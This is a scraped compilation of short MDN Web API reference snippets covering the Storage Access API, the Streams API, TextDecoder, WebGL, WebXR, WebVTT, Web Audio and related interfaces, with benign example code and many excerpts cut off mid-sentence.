...te: user interaction propagates to the promise returned by both of these methods, allowing the callers to take actions that require user interaction without requiring a second click from the user. for example, a caller could open a pop-up window from the resolved promise without triggering firefox’s pop-up blocker. extensions to <iframe> sandbox the <iframe> element's sandbox attribute has a
new token, allow-storage-access-by-user-activation, which permits sandboxed <iframe>s to use the storage access api to request storage access. specifications the api is currently only at the proposal stage — the standardization process has yet to begin. you can currently find specification details of the api at apple's introducing storage access api blog post, and whatwg html issue 3338 — propo...
Streams API concepts - Web APIs
the streams api adds a very useful set of tools to the web platform, providing objects allowing javascript to programmatically access streams of data received over the network and process them as desired by the developer. some of the concepts and terminology associated with streams might be
new to you — this article explains all you need to know. readable streams a readable stream is a data source represented in javascript by a readablestream object that flows from an underlying source — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from. there are two types of underlying source: push sources constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream. examples inclu...
...ructure called a pipe chain. there are two methods available in the spec to facilitate this: readablestream.pipethrough() — pipes the stream through a transform stream, which is a pair comprised of a writable stream that has data written to it, and a readable stream that then has the data read out of it — this acts as a kind of treadmill that constantly takes data in and transforms it to a
new state. effectively the same stream is written to, and then the same values are read. a simple example is a text decoder, where raw bytes are written, and then strings are read. you can find more useful ideas and examples in the spec — see transform streams for ideas, and this web sockets example. readablestream.pipeto() — pipes to a writable stream that acts as the end point of the pipe chai...
SubmitEvent() - Web APIs
the submitevent() constructor creates and returns a
new submitevent object, which is used to represent a submit event fired at an html form. syntax let submitevent =
new submitevent(type,eventinitdict); parameters type a domstring indicating the event which occurred. for submitevent, this is always submit. eventinitdict optional an optional dictionary of initial values for the event's properties. return value a submitevent object configured using the given inputs. examples this code snippet locates a form in the current document, and then an html <button> within the form with the class submit on it. next, a
new submitevent is created, configured with its submitter set to the identified button (or null if the button wasn't found). then the event is sent to the form, telling the ...
...tton> within the form with the class submit on it. next, a
new submitevent is created, configured with its submitter set to the identified button (or null if the button wasn't found). then the event is sent to the form, telling the form that it's been submitted by the button. const form = document.queryselector("form"); const formtrigger = form.queryselector("button.submit"); const submitevent =
new submitevent("submit", { submitter: formtrigger }); form.dispatchevent(submitevent); this is a somewhat contrived example, as you can do nearly all of this much more easily, but this gives you deep control over the process that can be useful. specifications specification status comment html living standardthe definition of 'submitevent()' in that specification. l...
TextDecoder() - Web APIs
the textdecoder() constructor returns a
newly created textdecoder object for the encoding specified in parameter. if the value for utflabel is unknown, or is one of the two values leading to a 'replacement' decoding algorithm ( "iso-2022-cn" or "iso-2022-cn-ext"), a domexception with the "typeerror" value is thrown. syntax decoder =
new textdecoder(utflabel, options); parameters utflabeloptional is a domstring, defaulting to "utf-8", containing the label of the encoder. each label is associated with a specific encoding type: possible values of utflabel encoding "unicode-1-1-utf-8", "utf-8", "utf8" 'utf-8' "866", "cp866", "csibm866", "ibm866" 'ibm866' "csisolatin2", "iso-8859-2", "iso-ir-101", "iso8859-2", "iso88592",...
...x-user-defined" 'x-user-defined' "iso-2022-cn", "iso-2022-cn-ext" 'replacement' optionsoptional is a textdecoderoptions dictionary with the property: fatal a boolean flag indicating if the textdecoder.decode() method must throw a domexception with the "encodingerror" value when an coding error is found. it defaults to false. example var textdecoder1 =
new textdecoder("iso-8859-2"); var textdecoder2 =
new textdecoder(); var textdecoder3 =
new textdecoder("csiso2022kr", {fatal: true}); // allows encodingerror exception to be thrown. var textdecoder4 =
new textdecoder("iso-2022-cn"); // throw a typeerror exception. specifications specification status comment encodingthe definition of 'textdecoder()' in that specification. ...
TextDecoder.prototype.decode() - Web APIs
onal data will follow in subsequent calls to decode(). set to true if processing the data in chunks, and false for the final chunk or if the data is not chunked. it defaults to false. example this example encodes and decodes the euro symbol, €. ...
...aults to false. example this example encodes and decodes the euro symbol, €. html <p>encoded value: <span id="encoded-value"></span></p> <p>decoded value: <span id="decoded-value"></span></p> javascript const encoder =
new textencoder(); const array = encoder.encode('€'); // uint8array(3) [226, 130, 172] document.getelementbyid('encoded-value').textcontent = array; const decoder =
new textdecoder(); const str = decoder.decode(array); // string "€" document.getelementbyid('decoded-value').textcontent = str; result specifications specification status comment encodingthe definition of 'textdecoder.decode()' in that specification. living standard initial definition. ...
TextTrackList - Web APIs
t with htmlmediaelement.texttracks. the individual tracks can be accessed using array syntax or functions such as foreach() for example. properties this interface also inherits properties from its parent interface, eventtarget. length read only the number of tracks in the list. event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a
new text track has been added to the media element. onchange an event handler to be called when the change event occurs. onremovetrack an event handler to call when the removetrack event is sent, indicating that a text track has been removed from the media element. methods this interface also inherits methods from its parent interface, eventtarget. gettrackbyid() returns the texttrack foun...
...ent handler to call when the removetrack event is sent, indicating that a text track has been removed from the media element. methods this interface also inherits methods from its parent interface, eventtarget. gettrackbyid() returns the texttrack found within the texttracklist whose id matches the specified string. if no match is found, null is returned. events addtrack fired when a
new text track has been added to the media element. also available via the onaddtrack property. change fired when a text track has been made active or inactive. also available via the onchange property. removetrack fired when a
new text track has been removed from the media element. also available via the onremovetrack property. usage notes in addition to being able to obtain direct access ...
Multi-touch interaction - Web APIs
t2 { background: white; border: 1px solid black; } #target3 { background: white; border: 1px solid black; } #target4 { background: white; border: 1px solid black; } </style> global state tpcache is used to cache touch points for processing outside of the event where they were fired. // log events flag var logevents = false; // touch point cache var tpcache =
new array(); register event handlers event handlers are registered for all four touch event types. the touchend and touchcancel event types use the same handler. function set_handlers(name) { // install event handlers for the given element var el=document.getelementbyid(name); el.ontouchstart = start_handler; el.ontouchmove = move_handler; // use same handler for touchcancel and touchend el...
...it also calls preventdefault() to keep the browser from applying further event handling (for example, mouse event emulation). function start_handler(ev) { // if the user makes simultaneous touches, the browser will fire a // separate touchstart event for each touch point. thu...
Using Touch Events - Web APIs
arge enough to accommodate a finger touch. if the target area is too small, touching it could result in firing other events for adjacent elements. implementation and deployment status the touch events browser compatibility data indicates touch event support among mobile browsers is relatively broad, with desktop browser support lagging although additional implementations are in progress. some
new features regarding a touch point's touch area - the area of contact between the user and the touch surface - are in the process of being standardized. the
new features include the x and y radius of the ellipse that most closely circumscribes a touch point's contact area with the touch surface. the touch point's rotation angle - the number of degrees of rotation to apply to the described ellipse t...
...features include the x and y radius of the ellipse that most closely circumscribes a touch point's contact area with the touch surface. the touch point's rotation angle - the number of degrees of rotation to apply to the described ellipse to align with the contact area - is also be standardized as is the amount of pressure applied to a touch point. what about pointer events? the introduction of
new input mechanisms results in increased application complexity to handle various input events, such as key events, mouse events, pen/stylus events, and touch events. to help address this problem, the pointer events standard defines events and related interfaces for handling hardware agnostic pointer input from devices including a mouse, pen, touchscreen, etc.. that is, the abstract pointer creates ...
TrackDefault.TrackDefault() - Web APIs
the trackdefault() constructor of the trackdefault interface constructs and returns a
new trackdefault object. syntax var trackdefault =
new trackdefault(type, language, label, kinds, bytestreamtrackid); parameters type a domstring specifying a media segment data type for the sourcebuffer to contain. can be audio, video, or text. language a domstring specifying a default language for the sourcebuffer to use when an initialization segment does not contain language information for a
new track. label a domstring specifying a default label for the sourcebuffer to use when an initialization segment does not contain label information for a
new track. kinds an array (sequence) of domstrings specifying default kinds for the sourcebuffer to use when an initialization segment d...
... bytestreamtrackid optional a domstring specifying the id of the specific track that the sourcebuffer should apply to. if not specified, this value will be an empty string and the sourcebuffer can contain any tracks of the specified type. ...
TrackDefault - Web APIs
the trackdefault interface provides a sourcebuffer with kind, label, and language information for tracks that do not contain this information in the initialization segments of a media chunk. a trackdefault object is provided to a sourcebuffer object by setting its sourcebuffer.trackdefaults property. constructor trackdefault() constructs and returns a
new trackdefault object. properties trackdefault.type read only returns the type of track that this sourcebuffer's media segment data relates to (i.e. audio, video, or text track.) trackdefault.bytestreamtrackid read only returns the id of the specific track that the sourcebuffer should apply to. trackdefault.language read only returns the default language to use when an initialization segment does not contain language info...
...type read only returns the type of track that this sourcebuffer's media segment data relates to (i.e. audio, video, or text track.) trackdefault.bytestreamtrackid read only returns the id of the specific track that the sourcebuffer should apply to. trackdefault.language read only returns the default language to use when an initialization segment does not contain language information for a
new track. trackdefault.label read only returns the default label to use when an initialization segment does not contain label information for a
new track. trackdefault.kinds read only returns the default kinds used when an initialization segment does not contain kind information for a
new track. ...
TrackEvent() - Web APIs
the trackevent() constructor creates and returns a
new trackevent object describing an event which occurred on a list of tracks (audiotracklist, videotracklist, or texttracklist). syntax trackevent =
new trackevent(type, eventinfo); parameters type the type of track event which is described by the object: "addtrack" or "removetrack". eventinfo optional an optional dictionary providing additional information configuring the
new event; it can contain the following fields in any combination: track optional the track to which the event refers; this is null by default, but should be set to a videotrack, audiotrack, or texttrack as appropriate given the type of track. bubbles optional a boolean indicating whether the event bubbles or not. cancelable optional a boolean indica...
...otrack, or texttrack as appropriate given the type of track. bubbles optional a boolean indicating whether the event bubbles or not. cancelable optional a boolean indicating whether or not the event can be canceled. composed optional a boolean indicating whether or not the event will trigger listeners outside of a shadow root; see event.composed for more details. return value a
newly-created trackevent object, initialized as described by the inputs to the constructor. specifications specification status comment html living standardthe definition of 'trackevent()' in that specification. living standard initial definition. html5the definition of 'trackevent()' in that specification. recommendation initial definition. ...
UIEvent.initUIEvent() - Web APIs
see also uievent the constructor to use instead of this deprecated method: uievent(). more specific constructors can be used too. ...
... see also uievent the constructor to use instead of this deprecated method: uievent(). more specific constructors can be used too. ...
URL.createObjectURL() - Web APIs
to release an object url, call revokeobjecturl(). note: this feature is available in web workers. note: this feature is not available in service workers due to its potential to create memory leaks. ...
... syntax const objecturl = url.createobjecturl(object) parameters object a file, blob, or mediasource object to create an object url for. return value a domstring containing an object url that can be used to reference the contents of the specified source object. examples see using object urls to display images. usage notes memory management each time you call createobjecturl(), a
new object url is created, even if you've already created one for the same object. each of these must be released by calling url.revokeobjecturl() when you no longer need them. browsers will release object urls automatically when the document is unloaded; however, for optimal performance and memory usage, if there are safe times when you can explicitly unload them, you should do so. using object ur...
USBConfiguration.USBConfiguration() - Web APIs
configurationvalue specifies the configuration descriptor you want to read. this is an unsigned integer in the range 0 to 255. ...
... configurationvalue specifies the configuration descriptor you want to read. this is an unsigned integer in the range 0 to 255. ...
VTTCue() - Web APIs
this is the time, given in seconds and fractions of a second, denoting the beginning of the range of the media data to which this cue applies. for example, if a cue is to be visible from 50 seconds to a one minute, five and a half seconds in the media's playback, starttime will be 50.0. endtime this is a double representing the ending time for this text track cue. this is the time at which the cue should stop being presented to the user, given in seconds and fractions thereof. ...
...s is a double representing the ending time for this text track cue. this is the time at which the cue should stop being presented to the user, given in seconds and fractions thereof. given the example cue mentioned under starttime, the value of endtime would be 65.5. text a domstring providing the text that will be shown during the time span indicated by starttime and endtime. return value a
new vttcue object representing a cue which will be presented during the time span given. example // create a cue that is shown from 2 to 3 seconds and uses the given text. var cue =
new vttcue(2, 3, 'cool text to be displayed'); specifications specification status comment webvtt: the web video text tracks formatthe definition of 'vttcue()' in that specification. candida...
VTTCue - Web APIs
param starttime the time, in seconds and fractions of a second, that describes the beginning of the range of the media data to which the cue applies. ...
...mentfragment. example html <video controls src="https://udn.realityripple.com/samples/c6/f8a3489533.webm"></video> css video { width: 320px; height: 180px; } javascript let video = document.queryselector('video'); video.addeventlistener('loadedmetadata', () => { const track = video.addtexttrack("captions", "简体中文subtitles", "zh_cn"); track.mode = "showing"; const cuecn =
new vttcue(0, 2.500, '字幕会在0至2.5秒间显示'); track.addcue(cuecn); const cueen =
new vttcue(2.6, 4, 'subtitles will display between 2.6 and 4 seconds'); track.addcue(cueen); }); result chrome: please open in jsfiddle to view the live sample. embed live sample can not show subtitles in chrome. specifications specification status comment webvtt: the we...
VTTRegion - Web APIs
properties vttregion.id a domstring that identifies the region. vttregion.width a double representing the width of the region, as a percentage of the video. vttregion.lines a double representing the height of the region, in number of lines. vttregion.regionanchorx a double representing the region anchor x offset, as a percentage of the region. ...
...entage of the region. vttregion.regionanchory a double representing the region anchor y offset, as a percentage of the region. vttregion.viewportanchorx a double representing the viewport anchor x offset, as a percentage of the video. vttregion.viewportanchory a double representing the viewport anchor y offset, as a percentage of the video. vttregion.scroll an enum representing how adding
new cues will move existing cues. examples var region =
new vttregion(); region.width = 50; // use 50% of the video width region.lines = 4; // use 4 lines of height. region.viewportanchorx = 25; // have the region start at 25% from the left. var cue =
new vttcue(2, 3, 'cool text to be displayed'); cue.region = region; // this cue will be drawn only within this region. specifications ...
VideoTrackList - Web APIs
unctions such as foreach() for example. properties this interface also inherits properties from its parent interface, eventtarget. length read only the number of tracks in the list. selectedindex read only the index of the currently selected track, if any, or −1 otherwise. event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a
new video track has been added to the media element. onchange an event handler to be called when the change event occurs — that is, when the value of the selected property for a track has changed, due to the track being made active or inactive. onremovetrack an event handler to call when the removetrack event is sent, indicating that a video track has been removed from the media element. meth...
... handler to call when the removetrack event is sent, indicating that a video track has been removed from the media element. methods this interface also inherits methods from its parent interface, eventtarget. gettrackbyid() returns the videotrack found within the videotracklist whose id matches the specified string. if no match is found, null is returned. events addtrack fired when a
new video track has been added to the media element. also available via the onaddtrack property. change fired when a video track has been made active or inactive. also available via the onchange property. removetrack fired when a
new video track has been removed from the media element. also available via the onremovetrack property. usage notes in addition to being able to obtain direct acce...
WEBGL_draw_buffers - Web APIs
le. webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl1 contexts. in webgl2, the functionality of this extension is available on the webgl2 context by default. in webgl 2, the constants are available without the "webgl" suffix and the
new glsl built-ins require glsl #version 300 es. constants this extension exposes
new constants, which can be used in the gl.framebufferrenderbuffer(), gl.framebuffertexture2d(), gl.getframebufferattachmentparameter() ext.drawbufferswebgl(), and gl.getparameter() methods. ext.color_attachment0_webgl ext.color_attachment1_webgl ext.color_attachment2_webgl ext.color_attachment3_webgl ext.col...
...webgl ext.draw_buffer11_webgl ext.draw_buffer12_webgl ext.draw_buffer13_webgl ext.draw_buffer14_webgl ext.draw_buffer15_webgl a glenum returning a draw buffer. ext.max_color_attachments_webgl a glint indicating the maximum number of framebuffer color attachment points. ext.max_draw_buffers_webgl a glint indicating the maximum number of draw buffers. methods this extension exposes one
new method. ext.drawbufferswebgl() defines the draw buffers to which all fragment colors are written. (when using webgl2, this method is available as gl.drawbuffers() by default). examples enabling the extension: var ext = gl.getextension('webgl_draw_buffers'); binding multiple textures (to a tx[] array) to different framebuffer color attachments: var fb = gl.createframebuffer(); gl.b...
WaveShaperNode.oversample - Web APIs
audiocontext to create a wave shaper node. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). note: sigmoid functions are commonly used for distortion curves because of their natural properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. ...
...al properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ... function makedistortioncurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve =
new float32array(n_samples), deg = math.pi / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( math.pi + k * math.abs(x) ); } return curve; }; ... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe d...
WebGL2RenderingContext.copyBufferSubData() - Web APIs
ack_buffer: buffer used for pixel transfer operations. readoffset writeoffset a glintptr specifying the byte offset from which to start reading from or writing to the buffer. size a glsizei in bytes specifying the size of the data to be copied from readtarget to writetarget. return value none. ...
...t. return value none. examples var srcbuffer = gl.createbuffer(); var dstbuffer = gl.createbuffer(); var data =
new float32array(vertices); var length = vertices.length * 4; gl.bindbuffer(gl.array_buffer, srcbuffer); gl.bufferdata(gl.array_buffer, data, gl.static_draw); gl.bindbuffer(gl.copy_read_buffer, srcbuffer); gl.bindbuffer(gl.array_buffer, dstbuffer); gl.bufferdata(gl.array_buffer,
new float32array(length), gl.static_draw); gl.copybuffersubdata(gl.copy_read_buffer, gl.array_buffer, 0, 0, length); specifications specification status comment webgl 2.0the definition of 'copybuffersubdata' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'glcopybuffersubdata' in that specification. stand...
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
ne weights, normalized to [0, 1] gl.vertexattribpointer(1, 4, gl.unsigned_byte, true, 20, 12); gl.enablevertexattribarray(1); //3. ...
...e, 20, 16); gl.enablevertexattribarray(2); //connect to attributes from the vertex shader gl.bindattriblocation(shaderprogram, 0, "position"); gl.bindattriblocation(shaderprogram, 1, "bo
neweights"); gl.bindattriblocation(shaderprogram, 2, "boneindices"); <script id="shader-vs" type="x-shader/x-vertex">#version 300 es uniform mat4 mvmatrix; uniform mat4 bones[120]; in vec3 position; in vec4 bo
neweights; in uvec4 boneindices;//read as 4-component unsigned integer void main() { vec4 skinnedposition = bones[boneindices.s] * vec4(position, 1.0) * bo
neweights.s + bones[boneindices.t] * vec4(position, 1.0) * bo
neweights.t + bones[boneindices.p] * vec4(position, 1.0) * bo
neweights.p + bones[boneindices.q] * vec4(position, 1.0) * bo
neweights.q; gl_position...
WebGLRenderingContext.bufferData() - Web APIs
fferdata(gl.array_buffer, 1024, gl.static_draw); getting buffer information to check the current buffer usage and buffer size, use the webglrenderingcontext.getbufferparameter() method. gl.getbufferparameter(gl.array_buffer, gl.buffer_size); gl.getbufferparameter(gl.array_buffer, gl.buffer_usage); getting size of a typed array to calculate size parameter for a typed array. var dataarray =
new float32array([1, 2, 3, 4]); var sizeinbytes = dataarray.length * dataarray.bytes_per_element; specifications specification status comment webgl 1.0the definition of 'bufferdata' in that specification. recommendation initial definition. opengl es 2.0the definition of 'glbufferdata' in that specification. standard man page of the opengl api. ...
...status comment webgl 1.0the definition of 'bufferdata' in that specification. recommendation initial definition. opengl es 2.0the definition of 'glbufferdata' in that specification. standard man page of the opengl api. opengl es 3.0the definition of 'glbufferdata' in that specification. standard man page of the (similar) opengl es 3 api. adds
new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feedback_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer adds
new usage hints: gl.static_read, gl.dynamic_read, gl.stream_read, gl.static_copy, gl.dynamic_copy, gl.stream_copy. ...
WebGLRenderingContext - Web APIs
ontextattributes() returns a webglcontextattributes object that contains the actual context parameters. might return null, if the context is lost. webglrenderingcontext.iscontextlost() returns true if the context is lost, otherwise returns false. webglrenderingcontext.makexrcompatible() ensures the context is compatible with the user's xr hardware, re-creating the context if necessary with a
new configuration to do so. this can be used to start an application using standard 2d presentation, then transition to using a vr or ar mode later. viewing and clipping webglrenderingcontext.scissor() defines the scissor box. webglrenderingcontext.viewport() sets the viewport. state information webglrenderingcontext.activetexture() selects the active texture unit. webglrenderingcontex...
...t.getparameter() returns a value for the passed parameter name. webglrenderingcontext.geterror() returns error information. webglrenderingcontext.hint() specifies hints for certain behaviors. the interpretation of these hints depend on the implementation. webglrenderingcontext.isenabled() tests whether a specific webgl capability is enabled or not for this context. webglrenderingcontext.li
newidth() sets the line width of rasterized lines. webglrenderingcontext.pixelstorei() specifies the pixel storage modes webglrenderingcontext.polygonoffset() specifies the scale factors and units to calculate depth values. webglrenderingcontext.samplecoverage() specifies multi-sample coverage parameters for anti-aliasing effects. webglrenderingcontext.stencilfunc() sets the both front and b...
Clearing by clicking - Web APIs
» this example demonstrates how to combine user interaction with webgl graphics operations by clearing the rendering context with a random color when the user clicks. clearing the rendering context with random colors this example provides a simple illustration of how to combine webgl and user interaction. every time the user clicks the canvas or the button, the canvas is cleared with a
new randomly chosen color. note how we embed the webgl function calls inside the event handler function. <p>a very simple webgl program that still shows some color and user interaction.</p> <p>you can repeatedly click the empty canvas or the button below to change color.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="color-switche...
... + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function. var color = getrandomcolor(); // set the clear color to the random color. gl.clearcolor(color[0], color[1], color[2], 1.0); // clear the context with the
newly set color. this is // the function call that actually does the drawing. gl.clear(gl.color_buffer_bit); } // random color helper function. function getrandomcolor() { return [math.random(), math.random(), math.random()]; } }, false); the source code of this example is also available on github. « previousnext » ...
Scissor animation - Web APIs
ing in this example, we are animating squares using scissor() and clear(). we again establish an animation loop using timers. note that this time it is the position of the square (the scissoring area) that is updated every frame (we set frame rate to roughly one every 17ms, or roughly 60fps – frames per second). in contrast, the color of the square (set with clearcolor) is only updated when a
new square is created. this is a nice demonstration of webgl as a state machine. for each square, we set its color once, and then update only its position every frame. the clear color state of webgl remains at the set value, until we change it again when a
new square is created. <p>webgl animation by clearing the drawing buffer with solid color and applying scissor test.</p> <button id="animation...
...ocity of the square. var size = [60, 60], velocity = 3.0; function drawanimation () { gl.scissor(position[0], position[1], size[0] , size[1]); gl.clear(gl.color_buffer_bit); // every frame the vertical position of the square is // decreased, to create the illusion of movement. position[1] -= velocity; // when the sqaure hits the bottom of the drawing buffer, // we override it with
new square of different color and // velocity. if (position[1] < 0) { // horizontal position chosen randomly, and vertical // position at the top of the drawing buffer. position = [ math.random()*(gl.drawingbufferwidth - size[0]), gl.drawingbufferheight ]; // random velocity between 1.0 and 7.0 velocity = 1.0 + 6.0*math.random(); color = getrandomcolor(); ...
Matrix math for the web - Web APIs
in real production code it would be best to use optimi...
...in real production code it would be best to use optimized functions. glmatrix is an example of a library that has a focus on speed and performance. ...
Animating objects with WebGL - Web APIs
ion matrix modelviewmatrix, // matrix to rotate squarerotation, // amount to rotate in radians [0, 0, 1]); // axis to rotate around this rotates the modelviewmatrix by the current value of squarerotation, around the z axis. to actually animate, we need to add code that changes the value of squarerotation over time. ...
...t the last time to compute deltatime which is the number of second since the last frame was rendered. at the end of drawscene we add the code to update squarerotation. squarerotation += deltatime; this code uses the amount of time that's passed since the last time we updated the value of squarerotation to determine how far to rotate the square. view the complete code | open this demo on a
new page « previousnext » ...
Animating textures in WebGL - Web APIs
(gl.texture_2d, texture); // because video has to be download over the internet // they might take a moment until it's ready so // put a single pixel in the texture so we can // use it immediately. const level = 0; const internalformat = gl.rgba; const width = 1; const height = 1; const border = 0; const srcformat = gl.rgba; const srctype = gl.unsigned_byte; const pixel =
new uint8array([0, 0, 255, 255]); // opaque blue gl.teximage2d(gl.texture_2d, level, internalformat, width, height, border, srcformat, srctype, pixel); // turn off mips and set wrapping to clamp to edge so it // will work regardless of the dimensions of the video. gl.texparameteri(gl.texture_2d, gl.texture_wrap_s, gl.clamp_to_edge); gl.texparameteri(gl.tex...
...ly function render(now) { now *= 0.001; // convert to seconds const deltatime = now - then; then = now; if (copyvideo) { updatetexture(gl, texture, video); } drawscene(gl, programinfo, buffers, texture, deltatime); requestanimationframe(render); } requestanimationframe(render); that's all there is to it! view the complete code | open this demo on a
new page ...
Lighting in WebGL - Web APIs
1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, // bottom 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, // right 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, // left -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0 ]; gl.bufferdata(gl.array_buffer,
new float32array(vertexnormals), gl.static_draw); ... return { position: positionbuffer, normal: normalbuffer, texturecoord: texturecoordbuffer, indices: indexbuffer, }; this should look pretty familiar by now; we create a
new buffer, bind it to be the buffer we're working with, then send along our array of vertex normals into the buffer by calling bufferdata(...
...for more advanced graphics, you'll want to implement per-pixel lighting, but this will get you headed in the right direction. you might also try experimenting with the direction of the light source, the colors of the light sources, and so forth. « previousnext » ...
Using shaders to apply color in WebGL - Web APIs
l do that by adding the following code to our initbuffers() function: function initbuffers(){ ... const colors = [ 1.0, 1.0, 1.0, 1.0, // white 1.0, 0.0, 0.0, 1.0, // red 0.0, 1.0, 0.0, 1.0, // green 0.0, 0.0, 1.0, 1.0, // blue ]; const colorbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, colorbuffer); gl.bufferdata(gl.array_buffer,
new float32array(colors), gl.static_draw); return { position: positionbuffer, color: colorbuffer, }; } this code starts by creating a javascript array containing four 4-value vectors, one for each vertex color. then a
new webgl buffer is allocated to store these colors, and the array is converted into floats and stored into the buffer. to use these colors, the vertex shader needs to b...
...se; const stride = 0; const offset = 0; gl.bindbuffer(gl.array_buffer, buffers.color); gl.vertexattribpointer( programinfo.attriblocations.vertexcolor, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexcolor); } view the complete code | open this demo on a
new page « previousnext » ...
WebRTC Statistics API - Web APIs
e webrtc api has a vast array of statistics available, covering the entire breadth of the webrtc connectivity system, from sender to receiver and peer to peer. collecting statistics you can collect statistics at various levels throughout the webrtc hierarchy of objects. most broadly, you can call getstats() on an rtcpeerconnection to get statistics for the connection overall. ...
... most broadly, you can call getstats() on an rtcpeerconnection to get statistics for the connection overall. in this example, a
new rtcpeerconnection is created, and then setinterval() is used to set the function getconnectionstats() to be called every second. that function, in turn, uses getstats() to obtain statistics for the connection and to make use of that data. ...
WebSocket - Web APIs
the websocket object provides the api for creating and managing a websocket connection to a server, as well as for sending and receiving data on the connection. to construct a websocket, use the websocket() constructor. constructor websocket(url[, protocols]) returns a
newly created websocket object. constants constant value websocket.connecting 0 websocket.open 1 websocket.closing 2 websocket.closed 3 properties websocket.binarytype the binary data type used by the connection. websocket.bufferedamount read only the number of bytes of queued data. websocket.extensions read only the extensions selected by the server. websocket.onclose an event listener to be called when the connection is closed. websocket...
... with a websocket has been closed because of an error, such as when some data couldn't be sent. also available via the onerror property. message fired when data is received through a websocket. also available via the onmessage property. open fired when a connection with a websocket is opened. also available via the onopen property. examples // create websocket connection. ...
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
how the camera moves while performing standard movements was taken from an article on the filmmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownership is not certain. we hope that it's freely usable; if not, and you're the owner, please let us know and we'll find or produce
new diagrams. or, if you're happy to let us continue to use the images, please let us know so we can credit you properly! cameras and relative movement when a classic live-action movie is filmed, the actors are on a set and move about the set as they perform, with one or more cameras watching their moves. the cameras may be fixed in place, but they may also be set up to move around as well, trackin...
...y also be set up to move around as well, tracking the movement of the performers, dollying in and out to achieve emotional impact, and so forth. virtual cameras in webgl (and by extension, in webxr), there is no camera object we can move and rotate, so we have to find a way to fake these movements. since there is no camera, we have to find a way to fake it. fortunately, physicists like galileo,
newton, lorentz, and einstein have given us the principle of relativity, which states that the laws of physics have the same form in every frame of reference. that is, no matter where you're standing, the laws of physics work in the same way. by extension, if you and another person are standing in an empty field of solid stone with nothing else visible as far as the eye can see, if you move three me...
Rendering and the WebXR frame animation callback - Web APIs
on the next time it needs a framebuffer to render your scene. this is done by calling the xrsession method requestanimationframe(). ...
...ing other code from getting to run at all for that frame. not only that, but if your rendering crosses the vertical refresh boundary, you can wind up with a tearing effect. tearing occurs when the the display hardware starts the next refresh cycle while the previous frame is still being drawn to the screen. as a result, you wind up with the visual effect of the top part of the screen showing the
new frame, while the bottom part of the frame shows some combination of the previous frame and possibly even the frame before that one. your mission, then, is to keep your code tight and lightweight enough that you don't overrrun the time available to you or otherwise cause dropped frames or excessively abuse the main thread. for these reasons, unless your renderer is fairly small and lightweight, ...
Web Audio API best practices - Web APIs
ated with a state, which can be suspended, running, or closed. when working with an audiocontext, if you create the audio context from inside a click event the state should automatically be set to running. ...
...ventlistener('click', function() { const audioctx =
new audiocontext(); }, false); if however, you create the context outside of a user gesture, its state will be set to suspended and it will need to be started after user interaction. we can use the same click event example here, test for the state of the context and start it, if it is suspended, using the resume() method. ...
Controlling multiple parameters with ConstantSourceNode - Web APIs
tantnode the constantsourcenode used to control the values of gainnode2 and gainnode3 together. playing a boolean that we'll use to keep track of whether or not we're currently playing the tones. now let's look at the setup() function, which is our handler for the window's load event; it handles all the initialization tasks that require the dom to be in place. ...
... } each of the three oscillators is set up the same way: create the oscillatornode by calling audiocontext.createoscillator(). set the oscillator's type to "sine" to use a sine wave as the audio waveform. set the oscillator's frequency to the desired value; in this case, oscnode1 is set to a middle c, while oscnode2 and oscnode3 round out the chord by playing the e and g notes. connect the
new oscillator to the corresponding gain node. once all three oscillators have been created, they're started by calling each one's constantsourcenode.start() method in turn, and playing is set to true to track that the tones are playing. stopping the oscillators stopping the oscillators when the user toggles the play state to pause the tones is as simple as stopping each node. function stoposcil...
Web Audio API - Web APIs
from audio modules linked together, each represented by an audionode. an audio context controls the creation of the nodes it contains and the execution of the audio processing, or decoding. you need to create an audiocontext before you do anything else, as everything happens inside a context. audiocontextoptions the audiocontextoptions dictionary is used to provide options when instantiating a
new audiocontext. audionode the audionode interface represents an audio-processing module like an audio source (e.g. an html <audio> or <video> element), audio destination, intermediate processing module (e.g. a filter like biquadfilternode, or volume control like gainnode). audioparam the audioparam interface represents an audio-related parameter, like one of an audionode. it can be set to a spe...
...ecification. scriptprocessornode the scriptprocessornode interface allows the generation, processing, or analyzing of audio using javascript. it is an audionode audio-processing module that is linked to two buffers, one containing the current input, one containing the output. an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains
new data, and the event handler terminates when it has filled the output buffer with data. audioprocess (event) the audioprocess event is fired when an input buffer of a web audio api scriptprocessornode is ready to be processed. audioprocessingevent the web audio api audioprocessingevent represents events that occur when a scriptprocessornode input buffer is ready to be processed. offline/...
Web Locks API - Web APIs
